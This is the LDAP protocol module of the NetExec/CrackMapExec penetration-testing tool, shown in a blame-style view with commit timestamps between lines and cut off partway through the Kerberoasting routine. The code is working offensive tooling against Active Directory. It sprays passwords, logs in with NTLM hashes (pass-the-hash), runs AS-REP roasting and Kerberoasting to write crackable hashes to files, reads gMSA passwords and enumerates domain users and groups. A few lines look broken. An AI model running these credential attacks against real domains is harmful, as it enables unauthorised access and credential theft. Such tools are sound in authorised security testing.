NetExec/cme/protocols/ldap.py

1036 lines
52 KiB
Python
Raw Normal View History

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# from https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetNPUsers.py
# https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
import logging
2022-10-19 09:48:22 +00:00
from argparse import _StoreTrueAction
from binascii import b2a_hex, unhexlify, hexlify
from cme.connection import *
from cme.helpers.logger import highlight
from cme.logger import CMEAdapter
2021-11-20 21:37:14 +00:00
from cme.helpers.bloodhound import add_user_bh
2022-10-19 09:48:22 +00:00
from cme.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from cme.protocols.ldap.kerberos import KerberosAttacks
2022-10-19 09:48:22 +00:00
from Cryptodome.Hash import MD4
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.dcerpc.v5.samr import UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT, getKerberosTGS
from impacket.krb5.types import KerberosTime, Principal
from impacket.ldap import ldap as ldap_impacket
from impacket.krb5 import constants
from impacket.ldap import ldapasn1 as ldapasn1_impacket
2022-10-19 09:48:22 +00:00
from impacket.ldap.ldaptypes import SR_SECURITY_DESCRIPTOR
from io import StringIO
2022-07-06 13:34:07 +00:00
from pywerview.cli.helpers import *
2022-10-19 09:48:22 +00:00
from re import sub, I
ldap_error_status = {
"533":"STATUS_ACCOUNT_DISABLED",
"701":"STATUS_ACCOUNT_EXPIRED",
"531":"STATUS_ACCOUNT_RESTRICTION",
"530":"STATUS_INVALID_LOGON_HOURS",
"532":"STATUS_PASSWORD_EXPIRED",
"773":"STATUS_PASSWORD_MUST_CHANGE",
"775":"USER_ACCOUNT_LOCKED",
"50":"LDAP_INSUFFICIENT_ACCESS"
}
def get_conditional_action(baseAction):
class ConditionalAction(baseAction):
def __init__(self, option_strings, dest, **kwargs):
x = kwargs.pop('make_required', [])
super(ConditionalAction, self).__init__(option_strings, dest, **kwargs)
self.make_required = x
def __call__(self, parser, namespace, values, option_string=None):
for x in self.make_required:
x.required = True
super(ConditionalAction, self).__call__(parser, namespace, values, option_string)
return ConditionalAction
class ldap(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.os_arch = 0
self.hash = None
self.ldapConnection = None
self.lmhash = ''
self.nthash = ''
self.baseDN = ''
self.targetDomain = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.signing = False
self.smb_share_name = smb_share_name
self.admin_privs = False
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
2021-09-19 14:23:26 +00:00
ldap_parser = parser.add_parser('ldap', help="own stuff using LDAP", parents=[std_parser, module_parser])
ldap_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
ldap_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
ldap_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
ldap_parser.add_argument("--port", type=int, choices={389, 636}, default=389, help="LDAP port (default: 389)")
2022-10-19 09:48:22 +00:00
no_smb_arg = ldap_parser.add_argument("--no-smb", action=get_conditional_action(_StoreTrueAction), make_required=[], help='No smb connection')
dgroup = ldap_parser.add_mutually_exclusive_group()
domain_arg = dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
no_smb_arg.make_required = [domain_arg]
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
egroup.add_argument("--asreproast", help="Get AS_REP response ready to crack with hashcat")
egroup.add_argument("--kerberoasting", help='Get TGS ticket ready to crack with hashcat')
vgroup = ldap_parser.add_argument_group("Retrieve useful information on the domain", "Options to to play with Kerberos")
vgroup.add_argument("--trusted-for-delegation", action="store_true", help="Get the list of users and computers with flag TRUSTED_FOR_DELEGATION")
vgroup.add_argument("--password-not-required", action="store_true", help="Get the list of users with flag PASSWD_NOTREQD")
vgroup.add_argument("--admin-count", action="store_true", help="Get objets that had the value adminCount=1")
vgroup.add_argument("--users", action="store_true", help="Enumerate enabled domain users")
vgroup.add_argument("--groups", action="store_true", help="Enumerate domain groups")
2022-10-14 17:13:17 +00:00
vgroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': "SMB",
'host': self.host,
'port': "445",
'hostname': self.hostname
})
def get_ldap_info(self, host):
try:
ldapConnection = ldap_impacket.LDAPConnection('ldap://%s' % host)
resp = ldapConnection.search(scope=ldapasn1_impacket.Scope('baseObject'), attributes=['defaultNamingContext', 'dnsHostName'], sizeLimit=0)
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
target = None
targetDomain = None
baseDN = None
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'defaultNamingContext':
baseDN = str(attribute['vals'][0])
2022-10-19 09:48:22 +00:00
targetDomain = sub(',DC=', '.', baseDN[baseDN.lower().find('dc='):], flags=I)[3:]
if str(attribute['type']) == 'dnsHostName':
target = str(attribute['vals'][0])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
except OSError as e:
2022-09-08 18:15:31 +00:00
self.logger.error(u'Error connecting to the host.')
return [target, targetDomain, baseDN]
def get_os_arch(self):
try:
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
except (DCERPCException, e):
if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0
2022-09-08 18:14:50 +00:00
def get_ldap_username(self):
extendedRequest = ldapasn1_impacket.ExtendedRequest()
extendedRequest['requestName'] = '1.3.6.1.4.1.4203.1.11.3' # whoami
response = self.ldapConnection.sendReceive(extendedRequest)
for message in response:
searchResult = message['protocolOp'].getComponent()
if searchResult['resultCode'] == ldapasn1_impacket.ResultCode('success'):
responseValue = searchResult['responseValue']
if responseValue.hasValue():
value = responseValue.asOctets().decode(responseValue.encoding)[2:]
return value.split('\\')[1]
return ''
def enum_host_info(self):
# smb no open, specify the domain
if self.args.no_smb:
self.domain = self.args.domain
#self.logger.extra['hostname'] = self.hostname
else:
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login('' , '')
except:
#if "STATUS_ACCESS_DENIED" in e:
pass
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
2022-02-27 13:08:30 +00:00
self.output_filename = self.output_filename.replace(":", "-")
if not self.domain:
self.domain = self.hostname
try:
'''plaintext_login
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
#Re-connect since we logged off
self.create_conn_obj()
def print_host_info(self):
if self.args.no_smb:
self.logger.extra['protocol'] = "LDAP"
2022-03-06 16:58:20 +00:00
self.logger.extra['port'] = "389"
self.logger.info(u"Connecting to LDAP {}".format(self.hostname))
#self.logger.info(self.endpoint)
else:
self.logger.extra['protocol'] = "SMB"
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1))
self.logger.extra['protocol'] = "LDAP"
#self.logger.info(self.endpoint)
2021-11-17 12:37:14 +00:00
return True
2022-10-20 16:08:30 +00:00
def kerberos_login(self, domain, username, password = '', ntlm_hash = '', aesKey = '', kdcHost = '', useCache = False):
logging.getLogger("impacket").disabled = True
2022-10-22 20:38:29 +00:00
self.username = username
self.password = password
self.domain = domain
# Get ldap info (target, targetDomain, baseDN)
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
2022-10-20 16:08:30 +00:00
lmhash = ''
nthash = ''
self.username = username
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
try:
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = "ldaps" if self.args.gmsa else "ldap"
2022-10-19 09:48:22 +00:00
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % target, self.baseDN)
2022-10-20 16:08:30 +00:00
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash,
aesKey, kdcHost=kdcHost, useCache=useCache)
2022-01-19 18:36:33 +00:00
2022-09-08 18:14:50 +00:00
if self.username == '':
self.username = self.get_ldap_username()
self.check_if_admin()
2022-09-08 18:14:50 +00:00
2022-10-24 12:12:32 +00:00
out = u'{}\\{}{} {}'.format(domain,
self.username,
# Show what was used between cleartext, nthash, aesKey and ccache
" from ccache" if useCache
else ":%s" % (next(sub for sub in [self.nthash, password, aesKey] if sub != '') if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
2022-01-19 18:36:33 +00:00
self.logger.extra['protocol'] = "LDAP"
2022-10-23 11:08:39 +00:00
self.logger.extra['port'] = "389" if not self.args.gmsa else "636"
2022-01-19 18:36:33 +00:00
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
2022-10-20 19:40:53 +00:00
if not self.args.continue_on_success:
return True
except SessionError as e:
2022-10-24 12:12:32 +00:00
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
2022-10-20 19:40:53 +00:00
self.username,
2022-10-24 12:12:32 +00:00
" from ccache" if useCache
else ":%s" % (next(sub for sub in [self.nthash, password, aesKey] if sub != '') if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
2022-10-20 19:40:53 +00:00
str(e)),
color='red')
return False
except KeyError as e:
2022-10-24 12:12:32 +00:00
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
2022-10-20 19:40:53 +00:00
self.username,
2022-10-24 12:12:32 +00:00
" from ccache" if useCache
else ":%s" % (next(sub for sub in [self.nthash, password, aesKey] if sub != '') if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
2022-10-20 19:40:53 +00:00
''),
color='red')
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
# Connect to LDAPS
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
2022-10-20 16:08:30 +00:00
self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash,
aesKey, kdcHost=kdcHost, useCache=useCache)
2022-09-08 18:14:50 +00:00
if self.username == '':
self.username = self.get_ldap_username()
self.check_if_admin()
# Prepare success credential text
2022-10-24 12:12:32 +00:00
out = u'{}\\{}{} {}'.format(domain,
self.username,
2022-10-24 12:12:32 +00:00
" from ccache" if useCache
else ":%s" % (next(sub for sub in [self.nthash, password, aesKey] if sub != '') if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
2022-06-28 19:12:09 +00:00
2022-01-19 18:36:33 +00:00
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
2022-10-20 19:40:53 +00:00
if not self.args.continue_on_success:
return True
else:
errorCode = str(e).split()[-2][:-1]
2022-10-24 12:12:32 +00:00
self.logger.error(u'{}\\{}{} {}'.format(self.domain,
self.username,
2022-10-24 12:12:32 +00:00
" from ccache" if useCache
else ":%s" % (next(sub for sub in [self.nthash, password, aesKey] if sub != '') if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8),
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
2020-06-22 10:25:32 +00:00
def plaintext_login(self, domain, username, password):
self.username = username
self.password = password
self.domain = domain
# Get ldap info (target, targetDomain, baseDN)
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
if self.password == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT:
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return False
try:
2022-09-16 15:44:59 +00:00
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = "ldaps" if self.args.gmsa else "ldap"
2022-10-19 09:48:22 +00:00
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % target, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
2022-10-23 19:29:30 +00:00
self.logger.extra['protocol'] = "LDAP"
2022-10-23 11:08:39 +00:00
self.logger.extra['port'] = "389" if not self.args.gmsa else "636"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
# We need to try SSL
try:
# Connect to LDAPS
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
2022-10-20 19:40:53 +00:00
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
2022-02-07 21:19:46 +00:00
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
2020-06-19 21:57:09 +00:00
else:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
2020-06-19 21:57:09 +00:00
self.username,
2022-02-07 21:19:46 +00:00
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
return False
except OSError as e:
2021-09-18 21:02:01 +00:00
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
2022-02-07 21:19:46 +00:00
self.password if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
2022-09-18 11:04:14 +00:00
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller or add the IP/HOST to your /etc/host file"))
return False
2020-06-22 10:25:32 +00:00
def hash_login(self, domain, username, ntlm_hash):
2022-10-20 19:40:53 +00:00
self.logger.extra['protocol'] = "LDAP"
self.logger.extra['port'] = "389"
2020-06-22 10:25:32 +00:00
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
self.username = username
self.domain = domain
# Get ldap info (target, targetDomain, baseDN)
target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host)
2020-06-22 10:25:32 +00:00
if self.hash == '' and self.args.asreproast:
hash_TGT = KerberosAttacks(self).getTGT_asroast(self.username)
if hash_TGT:
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return False
2020-06-22 10:25:32 +00:00
try:
# Connect to LDAP
2022-10-21 08:02:34 +00:00
proto = "ldaps" if self.args.gmsa else "ldap"
2022-10-19 09:48:22 +00:00
self.ldapConnection = ldap_impacket.LDAPConnection(proto + '://%s' % target, self.baseDN)
2020-06-22 10:25:32 +00:00
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.extra['protocol'] = "LDAP"
2022-10-23 11:08:39 +00:00
self.logger.extra['port'] = "389" if not self.args.gmsa else "636"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
2020-06-22 10:25:32 +00:00
except ldap_impacket.LDAPSessionError as e:
if str(e).find('strongerAuthRequired') >= 0:
try:
# We need to try SSL
self.ldapConnection = ldap_impacket.LDAPConnection('ldaps://%s' % target, self.baseDN)
self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash)
self.check_if_admin()
# Prepare success credential text
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.extra['protocol'] = "LDAPS"
self.logger.extra['port'] = "636"
self.logger.success(out)
if not self.args.local_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
2022-10-20 19:40:53 +00:00
if not self.args.continue_on_success:
return True
except ldap_impacket.LDAPSessionError as e:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
2022-02-07 21:19:46 +00:00
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
else:
errorCode = str(e).split()[-2][:-1]
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
2022-02-07 21:19:46 +00:00
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
ldap_error_status[errorCode] if errorCode in ldap_error_status else ''),
color='magenta' if errorCode in ldap_error_status else 'red')
2020-06-22 10:25:32 +00:00
return False
except OSError as e:
2021-09-18 21:02:01 +00:00
self.logger.error(u'{}\\{}:{} {}'.format(self.domain,
self.username,
2022-02-07 21:19:46 +00:00
nthash if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode')*8,
2022-09-18 11:04:14 +00:00
"Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller or add the IP/HOST to your /etc/host file"))
return False
2020-06-22 10:25:32 +00:00
def create_smbv1_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT)
self.smbv1 = True
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
logging.debug('SMBv1 might be disabled on {}'.format(self.host))
return False
except Exception as e:
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
return False
return True
def create_smbv3_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, 445)
self.smbv1 = False
except socket.error:
return False
except Exception as e:
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
return False
return True
def create_conn_obj(self):
2022-03-06 15:59:31 +00:00
if not self.args.no_smb:
if self.create_smbv1_conn():
return True
elif self.create_smbv3_conn():
return True
return False
else:
return True
def sid_to_str(self, sid):
try:
# revision
revision = int(sid[0])
# count of sub authorities
sub_authorities = int(sid[1])
# big endian
identifier_authority = int.from_bytes(sid[2:8], byteorder='big')
# If true then it is represented in hex
if identifier_authority >= 2 ** 32:
identifier_authority = hex(identifier_authority)
# loop over the count of small endians
sub_authority = '-' + '-'.join([str(int.from_bytes(sid[8 + (i * 4): 12 + (i * 4)], byteorder='little')) for i in range(sub_authorities)])
objectSid = 'S-' + str(revision) + '-' + str(identifier_authority) + sub_authority
return objectSid
except Exception:
pass
return sid
def check_if_admin(self):
# 1. get SID of the domaine
sid_domaine = ""
searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=8192)"
attributes= ["objectSid"]
resp = self.search(searchFilter, attributes, sizeLimit=0)
answers = []
for attribute in resp[0][1]:
if str(attribute['type']) == 'objectSid':
sid = self.sid_to_str(attribute['vals'][0])
sid_domaine = '-'.join(sid.split('-')[:-1])
# 2. get all group cn name
searchFilter = "(|(objectSid="+sid_domaine+"-512)(objectSid="+sid_domaine+"-544)(objectSid="+sid_domaine+"-519)(objectSid=S-1-5-32-549)(objectSid=S-1-5-32-551))"
attributes= ["distinguishedName"]
resp = self.search(searchFilter, attributes, sizeLimit=0)
answers = []
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for attribute in item['attributes']:
if str(attribute['type']) == 'distinguishedName':
answers.append(str("(memberOf:1.2.840.113556.1.4.1941:=" + attribute['vals'][0] + ")"))
# 3. get memeber of these groups
searchFilter = "(&(objectCategory=user)(sAMAccountName=" + self.username + ")(|" + ''.join(answers) + "))"
attributes= [""]
resp = self.search(searchFilter, attributes, sizeLimit=0)
answers = []
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
if item:
self.admin_privs = True
def getUnixTime(self, t):
t -= 116444736000000000
t /= 10000000
return t
def search(self, searchFilter, attributes, sizeLimit=0):
try:
logging.debug('Search Filter=%s' % searchFilter)
resp = self.ldapConnection.search(searchFilter=searchFilter,
attributes=attributes,
sizeLimit=sizeLimit)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
self.logger.error('sizeLimitExceeded exception caught, giving up and processing the data received')
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
pass
else:
self.logger.error(e)
return False
return resp
def users(self):
# Building the search filter
searchFilter = "(sAMAccountType=805306368)"
attributes= ['sAMAccountName', 'description', 'badPasswordTime', 'badPwdCount', 'pwdLastSet']
resp = self.search(searchFilter, attributes, sizeLimit=0)
if resp:
answers = []
self.logger.info('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ''
badPasswordTime = ''
badPwdCount = 0
description = ''
pwdLastSet = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
elif str(attribute['type']) == 'description':
description = str(attribute['vals'][0])
self.logger.highlight('{:<30} {}'.format(sAMAccountName, description))
except Exception as e:
self.logger.debug('Skipping item, cannot process due to error %s' % str(e))
pass
return
def groups(self):
# Building the search filter
searchFilter = "(objectCategory=group)"
attributes=['name']
resp = self.search(searchFilter, attributes, 0)
if resp:
answers = []
logging.debug('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
name = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'name':
name = str(attribute['vals'][0])
self.logger.highlight('{}'.format(name))
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
return
def asreproast(self):
if self.password == '' and self.nthash == '' and self.kerberos == False:
return False
# Building the search filter
searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \
(UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE)
attributes = ['sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
resp = self.search(searchFilter, attributes, 0)
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
self.logger.info('Total of records returned %d' % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = "0x%x" % int(attribute['vals'][0])
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
if mustCommit is True:
answers.append([sAMAccountName,memberOf, pwdLastSet, lastLogon, userAccountControl])
except Exception as e:
logging.debug("Exception:", exc_info=True)
logging.debug('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
for user in answers:
hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0])
self.logger.highlight(u'{}'.format(hash_TGT))
with open(self.args.asreproast, 'a+') as hash_asreproast:
hash_asreproast.write(hash_TGT + '\n')
return True
else:
self.logger.highlight("No entries found!")
return
else:
self.logger.error("Error with the LDAP account used")
def kerberoasting(self):
# Building the search filter
searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
"(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))"
attributes = ['servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon']
resp = self.search(searchFilter, attributes, 0)
if resp == []:
self.logger.highlight("No entries found!")
elif resp:
answers = []
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
mustCommit = False
sAMAccountName = ''
memberOf = ''
SPNs = []
pwdLastSet = ''
userAccountControl = 0
lastLogon = 'N/A'
delegation = ''
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
mustCommit = True
elif str(attribute['type']) == 'userAccountControl':
userAccountControl = str(attribute['vals'][0])
if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
delegation = 'unconstrained'
elif int(userAccountControl) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
delegation = 'constrained'
elif str(attribute['type']) == 'memberOf':
memberOf = str(attribute['vals'][0])
elif str(attribute['type']) == 'pwdLastSet':
if str(attribute['vals'][0]) == '0':
pwdLastSet = '<never>'
else:
pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'lastLogon':
if str(attribute['vals'][0]) == '0':
lastLogon = '<never>'
else:
lastLogon = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
elif str(attribute['type']) == 'servicePrincipalName':
for spn in attribute['vals']:
SPNs.append(str(spn))
if mustCommit is True:
if int(userAccountControl) & UF_ACCOUNTDISABLE:
logging.debug('Bypassing disabled account %s ' % sAMAccountName)
else:
for spn in SPNs:
answers.append([spn, sAMAccountName,memberOf, pwdLastSet, lastLogon, delegation])
except Exception as e:
logging.error('Skipping item, cannot process due to error %s' % str(e))
pass
if len(answers)>0:
2022-10-22 20:38:29 +00:00
self.logger.info('Total of records returned %d' % len(answers))
TGT = KerberosAttacks(self).getTGT_kerberoasting()
2022-07-06 13:34:07 +00:00
dejavue = []
for SPN, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation in answers:
2022-07-06 13:34:07 +00:00
if sAMAccountName not in dejavue:
downLevelLogonName = self.targetDomain + "\\" + sAMAccountName
2022-07-06 13:34:07 +00:00
try:
principalName = Principal()
principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
principalName.components = [downLevelLogonName]
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, self.domain,
2022-07-06 13:34:07 +00:00
self.kdcHost,
TGT['KDC_REP'], TGT['cipher'],
